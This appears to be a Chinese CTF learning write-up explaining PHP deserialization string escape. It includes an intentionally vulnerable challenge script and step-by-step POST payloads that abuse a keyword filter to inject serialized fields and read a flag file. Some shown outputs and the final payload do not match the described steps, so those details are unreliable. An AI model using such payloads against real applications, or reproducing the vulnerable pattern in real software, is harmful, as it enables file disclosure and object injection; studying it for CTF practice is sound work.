PHP反序列化字符串逃逸是一种利用PHP反序列化机制中字符串处理特性的漏洞,通过精心构造的序列化数据来改变反序列化的结构,可能导致对象注入或其他安全问题。
PHP的反序列化机制在解析序列化字符串时,会按照特定格式解析。当存在字符串替换或过滤操作时,可能导致序列化字符串的结构被破坏或改变,从而引发安全问题。
例如
a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}
PHP序列化字符串由类型标识符和值组成:
a
- array(数组)b
- boolean(布尔值)d
- double(浮点数)i
- integer(整数)o
- object(对象)s
- string(字符串)N
- null(空值)这些数据分别表示:
a:3
- 有3个元素的数组s:4:"name"
- 键是长度为4的字符串"name"s:6:"张三"
- 值是长度为6的字符串"张三"i:25
- 整数25b:0
- 布尔值false当s:4:"name"
中发生某种变化导致‘4’和‘name’不对应时(当然这里是对应的,‘name’字符串的长度就是4),如果变成了s:8:"name";s:6:"张三";s:3……
这里8和‘name’就对应不上了,当反序列化的时候呢,就会认为这个字符串为 name“;s:
echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}'));
输出:
object(__PHP_Incomplete_Class)#1 (4) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["id"]=>
string(1) "1"
["user"]=>
string(5) "admin"
["pass"]=>
string(5) "admin"
}
如这里我们在用户名处后添加数据 admin";s:4:"pass";s:6:"hacked";}
而之后的 ";s:4:"pass";s:5:"admin";}
则会被忽略
echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:6:"hacked";}";s:4:"pass";s:5:"admin";}'));
输出:
object(__PHP_Incomplete_Class)#1 (4) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["id"]=>
string(1) "1"
["user"]=>
string(5) "admin"
["pass"]=>
string(6) "hacked"
}
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
echo preg_replace($filter,'',$img); //添加此行以便调试
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
我们已知
测试一下,当我们通过Post传入参数_SESSION[user]=flag&_SESSION[function]=1111,会输出
a:3:{s:4:"user";s:4:"";s:8:"function";s:4:"1111";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
当我们传入_SESSION[user]=flag时,会输出
a:2:{s:4:"user";s:4:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
此时,序列化字符串中表示
user=";s:
这时,序列化中的字符长度和实际字符串长度不对应,就会存在字符串逃逸。
根据审计本题代码,要想得到flag,我们需要构造出
{………………;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==是‘d0g3_f1ag.php’通过base64加密后的结果
可以上传参数
_SESSION[user]=flag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
输出
a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
根据先前测试,由于无法对序列化字符串直接进行修改,我们可以理解为可以通过传入flag会被过滤删除这一特性,导致出现序列化中的字符长度和实际字符串长度不对应的情况,所以我们应该让";s:8:"function";s:42:"a
被user“吃掉”,成为它的值
首先计算出它的长度
>>> len('";s:8:"function";s:42:"a')
24
长度是24,也就是说我们需要让序列化字符串中代表user长度的数字变成24,这里我们可以通过传入6个flag字符串来达成目的
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
输出:
a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
补充说明:这里我们给SESSION[function]赋的值中,可能会对a”
有疑问,这里我这样理解,先传入引号是为了和前面的引号闭合,避免报错,而输入a单纯是为了后面通过输入flag时能过完整的吃掉,使得字符串的长度刚好是4(flag的长度)的倍数
观察前面输出的序列化字符串
a:3:{s:4:"user";s:4:"";s:8:"function";s:42:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里我使用图片更直观的解释一下。
现在你发现了什么没?是的,我们序列化字符串开头说明的是,一个有三个变量的数组,可是经过我们一番操作之后只剩下了两个,user和img所以我们还差一个变量
传入:
_SESSION[user]=flag&_SESSION[function]=a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}
输出a:3:{s:4:"user";s:4:"";s:8:"function";s:58:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:3:{s:4:"user";s:4:"";s:8:"function";s:58:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:1:"a";s:1:"b";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
此时,我们就能得到flag了
以下是我的一些个人理解,可以帮助大家更好的理解这部分
为了能得到flag,我们需要修改序列化字符串中img的值,但由于题目受限,我们不能直接在内部修改或复制,又因为不能传入img这个参数,所以我们通过传入含有img和它的目标值(就是我们想要构造的值)的序列化字符串来变相的给img这个参数赋值,最后再通过上传被过滤的值,来“吃掉”这些多余的字符串即可。
除此之外还有一个类似的题型,各位大佬可以练一下手[0ctf 2016]unserialize
PHP反序列化字符串逃逸这里开始可能难以理解,可以通过题目进行学习,只要能搞清楚每个参数,每次操作的意义,一定可以彻底掌握这一技巧!
本文章学习自PHP反序列化字符串逃逸,PHP反序列化字符逃逸详解,反序列化之字符串逃逸。
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!